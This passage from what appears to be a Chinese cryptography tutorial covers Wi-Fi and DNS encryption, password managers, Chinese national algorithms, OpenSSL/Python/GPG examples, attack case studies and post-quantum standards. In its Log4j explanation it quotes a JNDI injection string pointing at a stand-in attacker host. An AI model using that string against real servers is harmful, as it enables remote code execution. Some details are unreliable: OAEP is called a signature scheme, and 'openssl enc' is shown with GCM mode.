🌅 7:05 打开微信看消息 Signal 协议类端到端加密 + TLS
🌅 7:15 Apple Watch 解锁 Mac ECDSA 签名 + 安全飞地(Secure Enclave)
🌅 7:30 刷 NFC 进地铁 EMVCo 令牌化 + AES-128
☀️ 9:00 打开公司 VPN WireGuard (Curve25519 + ChaCha20-Poly1305)
☀️ 9:05 浏览器访问 GitHub TLS 1.3 ECDHE + AES-256-GCM
☀️ 12:00 微信扫码支付午餐 支付令牌 + TLS 1.3
🌤 18:00 1Password 自动填密码 AES-256 + Argon2 零知识架构
🌙 20:00 Netflix 看剧 Widevine DRM + AES-128-CTR 流加密
🌙 22:00 Mac 锁屏休眠 FileVault2 (AES-XTS-256) 全盘加密

总结: 从睁眼到入睡,你与加密的交互至少发生 50-100 次,绝大多数时候你完全感知不到。这正是密码学工程设计的最高境界——安全应该是透明的

10.6 Wi-Fi 加密:从 WEP 到 WPA3

Wi-Fi 是地球上使用最广泛的无线加密场景,它的安全进化史就是一部密码学攻防史。

WEP(1999)——密码学灾难

WEP 使用 RC4 流密码,设计上存在致命缺陷:24 位 IV 太短,每 1670 万个数据包循环一次,在繁忙网络里几分钟就重用了。IV 重用导致流密码被破解——2001 年即可在 60 秒内破解 WEP。

WPA2(2004~至今)

WPA2 用 AES-CCMP 替代了 RC4。核心机制是四次握手(4-Way Handshake)

客户端 AP(路由器) 已知:共享密码(PSK) + SSID → PMK ① AP → Client: ANonce(随机数) ② Client → AP: SNonce + MIC ③ AP → Client: GTK 加密 + MIC ④ Client → AP: ACK(确认) PMK + ANonce + SNonce → PTK(会话密钥) 此后所有数据用 PTK 通过 AES-CCMP 加密 ⚠ 致命漏洞:对第③步重放(KRACK, 2017) AP 如果没收到 ACK 会重发 msg 3 → 客户端重装密钥 → Nonce 归零 同密钥+同 Nonce → 流密码加密被破解 → 流量可被解密

WPA3(2018)

WPA3 针对 WPA2 的缺陷做了根本性重构:

改进点 WPA2 WPA3
认证方式 PSK 四次握手 SAE(对等同时认证),基于 Dragonfly 密钥交换
KRACK 免疫 ✅ SAE 每次生成新 PMK,无密钥重装概念
离线字典攻击 ✅ 每次密码猜测必须在线交互,路由器可检测并锁定
前向安全 ✅ 即使密码泄露,历史流量无法解密
公共 Wi-Fi 完全明文 OWE(机会性无线加密),无需密码即可加密

实际使用建议: 新路由器建议开 WPA3。只能用 WPA2 的话:使用 16 位以上随机密码 + 禁用 WPS + 开启 PMF。

10.7 DNS 加密:你的上网记录不该是明文的

传统 DNS(域名��IP 地址的查询服务)是明文的——你的 ISP 和咖啡店 Wi-Fi 管理员能看到你访问的每个网站。

三种加密 DNS 方案对比:

技术 全称 机制 一句话
DoT DNS over TLS DNS 包走 TLS 加密 DNS 专属加密通道
DoH DNS over HTTPS DNS 包混在 HTTPS 流里 最隐蔽,最难被审查
DNSSEC DNS Security Extensions 对 DNS 记录加数字签名 ⚠️ 不加密!只防篡改

⚠️ 最常见误解: DNSSEC 不加密。它只给 DNS 记录加签名,防篡改。你的 ISP 仍然能看到你查了什么域名。DoH 和 DoT 才负责加密传输。

实用建议: Android 设置→网络→私人 DNS,填入 dns.google(开启系统级 DoT)。

10.8 密码管理器:零知识加密的典范

以 Bitwarden(开源密码管理器)为例的零知识加密[28]架构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
用户输入:主密码(唯一需要记住的东西)
+
邮箱地址

┌─ KDF(密钥派生函数)─────────────────┐
│ Argon2id(内存硬化,防GPU暴力破解) │
│ ▼ │
│ 主密钥(仅存在于你的设备上) │
│ → 永远不发给服务器 │
└──────────────────────────────────────┘

用主密钥解密 → 获取对称加密密钥

用 AES-256-CBC 解密每个密码条目

实操建议: 如果用 Bitwarden,在设置中把 KDF 切换为 Argon2id(默认配置:64MB/3迭代/4并行度)。


第十一章 国密算法体系

中国国家密码管理局发布的商用密码算法标准体系:

算法 类型 对标国际 密钥/输出长度 说明
SM1 对称分组密码 AES 128 位 算法不公开
SM2 非对称(椭圆曲线) ECC (P-256) 256 位 256 位即达 RSA-3072 安全级别
SM3 哈希 SHA-256 256 位输出 国密哈希标准
SM4 对称分组密码 AES-128 128 位 加密解密结构相同,仅轮密钥顺序相反
SM7 对称分组密码 128 位 算法不公开
SM9 标识密码(IBC 256 位 手机号/邮箱本身即公钥,无需 PKI
ZUC(祖冲之) 流密码 SNOW 3G 128 位 中国首个成为国际标准的密码算法(3GPP LTE)

第十二章 加密解密实操实战

12.1 OpenSSL 命令行实战

OpenSSL 是加密解密实操的”瑞士军刀”——以下所有命令可直接运行。

对称加密(AES-256-GCM,推荐)

1
2
3
4
5
6
7
8
9
10
# 加密文件(需要输入密码)
openssl enc -aes-256-gcm -pbkdf2 -iter 100000 \
-in secret.txt -out secret.enc

# 解密文件
openssl enc -d -aes-256-gcm -pbkdf2 -iter 100000 \
-in secret.enc -out secret_dec.txt

# 对比原文和解密结果
diff secret.txt secret_dec.txt # 无输出 = 完全一致 ✅

非对称加密(RSA + OAEP 填充)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 生成 4096 位私钥
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 \
-out private_key.pem

# 提取公钥
openssl pkey -in private_key.pem -pubout -out public_key.pem

# 用公钥加密(OAEP 填充是安全的签名方案)
openssl pkeyutl -encrypt -pubin -inkey public_key.pem \
-pkeyopt rsa_padding_mode:oaep \
-in message.txt -out encrypted.bin

# 用私钥解密
openssl pkeyutl -decrypt -inkey private_key.pem \
-pkeyopt rsa_padding_mode:oaep \
-in encrypted.bin -out decrypted.txt

哈希与数字签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# SHA-256 哈希
sha256sum file.txt

# 对文件签名
openssl dgst -sha256 -sign private_key.pem \
-out signature.bin document.pdf

# 验证签名
openssl dgst -sha256 -verify public_key.pem \
-signature signature.bin document.pdf
# 输出 "Verified OK" = 签名有效 ✅

# 生成自签名证书(开发/测��用)
openssl req -x509 -newkey rsa:4096 -keyout server_key.pem \
-out server_cert.pem -days 365 -nodes \
-subj "/CN=localhost"

12.2 Python 加密编程实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# pip install cryptography

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, hmac
import os

# ===== AES-256-GCM 认证加密 =====
def aes_gcm_encrypt(plaintext: bytes, key: bytes) -> tuple:
nonce = os.urandom(12) # 96 位随机 nonce,绝不能重用
cipher = Cipher(algorithms.AES(key), modes.GCM(nonce))
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
return (nonce, ciphertext, encryptor.tag) # tag = 完整性校验码

# 使用示例
key = os.urandom(32) # AES-256 密钥
nonce, ct, tag = aes_gcm_encrypt(b"Hello, World!", key)

# ===== RSA 加密/解密 =====
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

ciphertext = public_key.encrypt(
b"Secret message",
padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None)
)

plaintext = private_key.decrypt(
ciphertext,
padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None)
)
print(plaintext.decode())

密码存储的正确方式

1
2
3
4
5
6
7
8
9
10
# pip install bcrypt
import bcrypt

password = b"super_secret_password"
hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))
# 存储 hashed 到数据库——盐已内嵌在 hashed 中

# 验证密码
if bcrypt.checkpw(password, hashed):
print("✅ 密码正确")

12.3 GPG 实战

1
2
3
4
5
6
7
8
9
10
11
# 生成密钥对
gpg --full-generate-key

# 导出公钥发给别人
gpg --armor --export your@email.com > public_key.asc

# 加密文件(用接收者的公钥)
gpg --encrypt --recipient friend@email.com secret_report.pdf

# 解密文件
gpg --decrypt secret_report.pdf.gpg > secret_report.pdf

第十三章 加密的失败:当理论遇到现实

引言: 算法在数学上是完美的,但实现是人写的,协议是逐步演进的,用户是有弱点的。理解加密如何失败,比只学习加密如何成功更重要——因为攻击者不会从正面突破你的 AES-256,他们会绕过去。

13.1 中间人攻击(MITM)

加密保护信道,但不保证你通信的对象是谁。如果攻击者能插在中间:

1
2
你 ←→ [攻击者,伪装成服务器] ←→ [真实服务器]
↑ 你的数据被攻击者解密、查看、再重新加密发给服务器
手法 原理 防御
ARP 欺骗 局域网内冒充网关 静态 ARP 表
伪造 Wi-Fi 架一个同名 Wi-Fi 谨慎连接公共 Wi-Fi + VPN
DNS 劫持 把你指向的 IP 改成攻击者的 IP DNSSEC + DoH
伪造证书 自签 *.google.com 证书 证书透明度

典型事件——Superfish(2015): 联想在笔记本预装 Superfish 广告软件,在系统安装自签根证书,对所有 HTTPS 做中间人解密以注入广告。事件曝光后联想紧急推送移除工具。

13.2 降级攻击

攻击名 目标 手法
POODLE (2014) SSLv3 伪造连接失败,逼客户端降级到 SSLv3,利用填充漏洞逐字节解密
Logjam (2015) TLS DH 将 2048 位 DH 降级为 512 位”出口级”DH,可实时破解
FREAK (2015) TLS RSA 将 RSA 密钥降级到 512 位出口级

13.3 侧信道攻击

不破解数学问题,通过物理世界的泄露信息推断密钥:

类型 测量什么 经典案例
时序攻击 不同密钥产生不同计算时间 通过服务器处理时间差异推断私钥
功耗分析 CPU 不同运算的功耗波形(DPA) 智能卡中的 AES 密钥被示波器+统计破解
缓存攻击 CPU 缓存访问模式 Meltdown/Spectre (2018) 跨进程窃取内存
声音攻击 CPU 运算的电流噪声频率 手机麦克风在 1 米外录 RSA 签名声音→提取 4096 位密钥

13.4 实现错误

Heartbleed(2014): TLS 心跳扩展的 Bug——服务器不检查客户端声称的数据长度,导致可以读取服务器内存中 64KB 的任意数据(含私钥、密码)。全球 17% HTTPS 服务器受影响。

Log4j(2021): Log4j 日志库自动解析 ${...} 表达式,攻击者嵌入 ${jndi:ldap://evil.com/payload} 即可远程执行代码。全球数百万台服务器受影响。

Heartbleed 和 Log4j 的共同教训: 加密算法的安全性是必要条件,不是充分条件。软件实现的每一行代码都是攻击面。

13.5 社会工程——绕过所有加密的最短路径

任何加密都不能防止你把密码告诉骗子。钓鱼邮件、SIM 卡交换、假客服——年损失数千亿美元。

5 条保命建议:

  1. 使用密码管理器,所有网站密码不重复
  2. 开启两步验证(TOTP 验证器,别用短信)
  3. 保持系统和浏览器自动更新
  4. 公共 Wi-Fi 上只用 VPN 或手机热点
  5. 对任何要你”点击链接、输入密码、告知验证码”的消息保持深度怀疑

第十四章 量子密码与未来趋势

14.1 量子计算对现有密码的威胁

算法 量子攻击算法 影响程度 缓解措施
RSA Shor 算法 🔴 完全破解 迁移到 PQC
ECC/ECDSA Shor 算法 🔴 完全破解 迁移到 PQC
AES-128 Grover 算法 🟡 减半(约 64 位) 升级到 AES-256
AES-256 Grover 算法 🟢 仍安全(约 128 位) 无需改变
SHA-256 Grover 算法 🟡 碰撞 128→85 位 升级到 SHA-384

14.2 NIST 后量子密码标准(2024)

标准 原名 类型 数学基础
FIPS 203 CRYSTALS-Kyber → ML-KEM 密钥封装 格(Module-LWE)
FIPS 204 CRYSTALS-Dilithium → ML-DSA 数字签名 格(Module-LWE)
FIPS 205 SPHINCS+ → SLH-DSA 数字签名(保守) 无状态哈希

⚠️ “现在收集,以后解密”: 攻击者现在截获加密通信并存起来,等量子计算机成熟后批量解密。需要保密超过 10~15 年的数据,现在就该考虑迁移。

14.3 其他前沿方向

  • 同态加密: 在密文上直接计算,结果解密后等同于明文计算结果
  • 零知识证明(ZKP): 证明”我知道 X”而不透露 X
  • 安全多方计算: 多方在不泄露各自输入的情况下共同计算一个函数
  • 量子密钥分发(QKD): 利用量子力学不可克隆定理实现理论上绝对安全的密钥分发(中国已建成京沪量子通信干线)

第十五章 学习路径与资源

15.1 三阶段学习路线

阶段 目标 核心内容
入门(1-2 周) 理解概念,会用工具 AES/RSA/MD5 概念、OpenSSL 命令行、SHA-256 哈希
进阶(2-4 周) 理解原理,能写代码 TLS 握手、RSA 数学原理、Python cryptography 库
实践(2-4 周) 独立完成项目 CTF 密码题、搭建 HTTPS 服务、参与开源项目

15.2 推荐资源

类型 资源 说明
📖 入门书 《图解密码技术》(结城浩) 最佳入门,图解+故事��零基础可读
📖 经典书 《应用密码学》(Bruce Schneier) 密码学圣经,比教科书有趣
📖 中文书 《深入浅出 HTTPS》(虞卫东) TLS/HTTPS 最佳中文读物
🎓 课程 Coursera: Cryptography I (Dan Boneh, 斯坦福) 最好的密码学在线课程,免费
🎮 CTF CryptoHack 游戏化学密码学,从入门到高级
🎮 CTF picoCTF 卡内基梅隆出品,适合零基础
💬 社区 看雪论坛 逆向与安全经典中文论坛
🔧 GitHub awesome-cryptography 密码学资源大全

15.3 可以先跳过的

  • 椭圆曲线的群论、域论严格数学推导
  • 侧信道攻击细节(进阶再学)
  • 格密码的具体数学构造(先理解概念,后量子时代深入时再学)
  • 自己实现加密算法(永远不要用于生产!做练习可以)

💡 最重要的学习建议: 密码学不是”看书”学会的——必须动手。每学一个概念就打开终端跑一跑,动手比看书重要十倍。


第十六章 附录

16.1 术语表

术语 英文 定义
明文 Plaintext 加密前的原始可读数据
密文 Ciphertext 加密后的不可读数据
密钥 Key 控制加密/解密过程的秘密参数
对称加密 Symmetric Encryption 加密和解密使用同一密钥
非对称加密 Asymmetric Encryption 加密和解密使用不同密钥(公钥/私钥)
公钥 Public Key 可公开分发,用于加密或验证签名
私钥 Private Key 必须保密,用于解密或创建签名
哈希/摘要 Hash / Digest 不可逆的固定长度输出,验证完整性
数字签名 Digital Signature 用私钥对数据创建的密码学证明
证书 Certificate (X.509) CA 签发的公钥所有权证明
CA Certificate Authority 可信任的证书签发机构
PKI Public Key Infrastructure 管理公钥和证书的基础设施
TLS Transport Layer Security 传输层安全协议,HTTPS 底层加密标准
IV/Nonce Initialization Vector 随机数,确保相同明文每次产生不同密文
MAC Message Authentication Code 消息认证码,验证数据完整性和来源
HMAC Hash-based MAC 基于哈希的消息认证码
AEAD Authenticated Encryption with Associated Data 认证加密,同时提供加密和完整性
PFS Perfect Forward Secrecy 完美前向安全,长期密钥泄露不影响历史通信
PQC Post-Quantum Cryptography 后量子密码,抵抗量子计算机攻击
KDF Key Derivation Function 密钥派生函数,从密码生成密钥
Salt Salt 随机数据,与密码混合后哈希,防彩虹表
ECDHE Elliptic Curve Diffie-Hellman Ephemeral 椭圆曲线临时 DH 密钥交换,提供前向安全
GCM Galois/Counter Mode AES 的认证加密模式(推荐)
OAEP Optimal Asymmetric Encryption Padding RSA 的安全填充方案

16.2 OpenSSL 常用命令速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 对称加密/解密
openssl enc -aes-256-gcm -pbkdf2 -in plain.txt -out cipher.enc
openssl enc -d -aes-256-gcm -pbkdf2 -in cipher.enc -out plain.txt

# 生成 RSA 密钥
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out private.pem
openssl pkey -in private.pem -pubout -out public.pem

# 生成 ECC 密钥(推荐)
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:prime256v1 -out ec_private.pem

# 哈希
openssl dgst -sha256 file.txt

# 数字签名
openssl dgst -sha256 -sign private.pem -out sig.bin file.txt
openssl dgst -sha256 -verify public.pem -signature sig.bin file.txt

# 查看证书
openssl x509 -in cert.pem -text -noout

# TLS 连接测试
openssl s_client -connect example.com:443 -tls1_3

16.3 算法选择决策速查表

场景 推荐算法 备选
加密大量数据 AES-256-GCM ChaCha20-Poly1305
密钥交换 ECDHE (X25519) ML-KEM(后量子)
数字签名 Ed25519 ECDSA P-256 / RSA-4096
密码存储 Argon2id bcrypt (cost≥12)
哈希/完整性 SHA-256 / BLAKE3 SHA-512 / SHA-3
消息认证 HMAC-SHA256 Poly1305
国内合规 SM2 + SM3 + SM4 SM9
后量子安全 ML-KEM + ML-DSA Hybrid: X25519 + ML-KEM
邮件加密 GPG (RSA-4096 + AES-256) S/MIME
全盘加密 AES-XTS-256

  1. 1.手机上可能看不到悬停效果,请对照本节末尾的缩写表查阅。
  2. 10.**多表替换密码(Polyalphabetic Substitution Cipher)**:使用**多张不同的替换表**,在加密过程中交替切换,使得同一个明文字母在不同位置被替换成不同的密文字母。这打破了单表替换的频率特征,曾长期被认为无法破解。
  3. 11.**一次性密码本(One-Time Pad, OTP)**:加密时,密钥必须满足三个条件——(1) 密钥和明文**一样长**;(2) 密钥**完全随机**(每个比特独立随机);(3) 密钥**只用一次**。加密操作:密�� = 明文 ⊕ 密钥(按位异或)。因为密钥完全随机,密文里不含任何明文的统计规律,数学上被证明无法破解。但缺点也致命:密钥太长(和文件一样大)且只能用一次,实际中几乎无法操作——你用一个 1GB 的密钥加密 1GB 的视频,那你怎么安全地把那个 1GB 的密钥送给接收方呢?这又回到了密钥分发问题。
  4. 12.**公钥密码学(Public-key Cryptography)** 的核心思想是**加密和解密使用不同的密钥**:一个公开给全世界(公钥),一个死守在自己手里(私钥)。公钥加密的内容只有私钥能解开。这意味着你不再需要事先和安全地把密钥交给对方——对方只需用你的公钥加密即可。这是与前两千年所有加密方法的根本区别。
  5. 13.**密钥分发问题**:在公钥密码学发明之前,Alice 和 Bob 想要加密通信,必须先在安全的环境下(比如面对面)交换同一把密钥。想象一支军队要在战场上发送加密电报——先得派人把密钥本送到前线,而送密钥的人本身就是安全漏洞。
  6. 14.**DES(Data Encryption Standard,数据加密标准)**:56 位密钥的对称分组密码,按今天的标准极弱(56 位密钥可被暴力破解)。但它历史意义巨大——它是第一个公开了完整算法细节的政府标准,开启了「公开算法、公开讨论、全球检验」的现代密码学范式。
  7. 15.**碰撞(Collision)**:两个不同的输入产生完全相同的哈希值。MD5 碰撞 = 你可以伪造一个和正版软件有相同 MD5 值的恶意软件,数字签名验证照样通过。
  8. 16.**不可否认性(Non-repudiation)**:发送者无法否认自己发送过某条消息。因为数字签名只能用发送者的私钥生成,一旦签名验证通过,技术上就能证明"这条消息确实出自你之手"。
  9. 17.**盐(Salt)**:在哈希密码前,先给密码拼接一段随机字符串。即使两个用户用了完全一样的密码,因为盐不同,哈希结果也完全不同——攻击者无法用预计算的"彩虹表"批量破解。
  10. 18.**彩虹表攻击**:攻击者预先算好大量常见密码的哈希值存成表。如果密码没加盐,他只需查表就能秒破。加了盐后,他必须为每个用户单独计算,时间成本从秒级变成年级。
  11. 19.**异或(XOR,符号⊕)**:一种按位运算。规则:0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0。关键性质:A ⊕ B ⊕ B = A(异或两次等于还原),这正是流密码加密和解密用同一操作的原因。
  12. 20.**AES(Advanced Encryption Standard,高级加密标准)**:分组加密算法,始终处理 128 位(16 字节)的数据块,密钥可选 128/192/256 位。于 2001 年取代 DES 成为美国联邦标准,至今无实用攻击。
  13. 21.**SPN(代换-置换网络)**:AES 的核心架构。**代换(Substitution)**:用非线性变换混淆数据(S 盒);**置换(Permutation)**:打乱数据的位置关系(行移位+列混淆)。两者交替多轮,让"输入每个比特的改变都影响输出的所有比特"——这叫**雪崩效应**。
  14. 22.**ECC(Elliptic Curve Cryptography,椭圆曲线密码学)**:基于椭圆曲线上的离散对数难题。为什么叫"椭圆曲线"?因为研究的方程 y² = x³ + ax + b 在图形上像压扁的椭圆。你不用懂图形,只需知道:在这条曲线上定义了一种特殊的"点加法",K = k × G(G 是公开的起点,k 是私钥,K 是公钥),从 K 反推 k 极其困难。
  15. 23.**离散对数问题(DLP)**:给定 g, p, 和 gª mod p,求 a。正向计算 gª mod p 很容易(用快速幂算法),但逆向几乎不可能。想像一下:你知道的是计算结果,但不知道"g 乘了自己多少次"——这就是离散对数困难所在。
  16. 24.**为什么叫"逆向使用"?** 正常加密:公钥加密 → 私钥解密(保证机密性)。数字签名反过来:私钥"加密" → 公钥"解密"(验证真实性)。因为只有 Alice 持有私钥,所以只有 Alice 能产生这个签名——用公钥验证通过就证明"这条消息确实来自 Alice"。
  17. 25.**PKI(Public Key Infrastructure,公钥基础设施)**:管理数字证书的完整体系。核心思想是"信任链"——你信任根 CA,根 CA 信任中间 CA,中间 CA 担保这个公钥确实属于 taobao.com。你的浏览器内置了全球几十个根 CA 的公钥,自动完成这条链的验证。
  18. 26.**认证加密(AEAD)**:用一个操作同时完成加密和完整性校验。这意味着数据如果被篡改过,解密时直接报错——攻击者既看不到内容,也无法悄无声息地修改。GCM 和 ChaCha20-Poly1305 都是 AEAD 模式。
  19. 27.**TLS(Transport Layer Security,传输层安全协议)** 是 HTTPS 的底层加密标准。你在浏览器地址栏看到的小锁图标 🔒,就表示当前连接使用了 TLS 加密。
  20. 28.**零知识加密(Zero-Knowledge Encryption)**:服务提供商的服务器上**只存加密后的密文**。你的主密码和密钥从不离开你的设备。即使公司被法院传票,也只能交出加密过的垃圾数据——因为他们根本没有密钥。
-------------本文结束感谢您的阅读-------------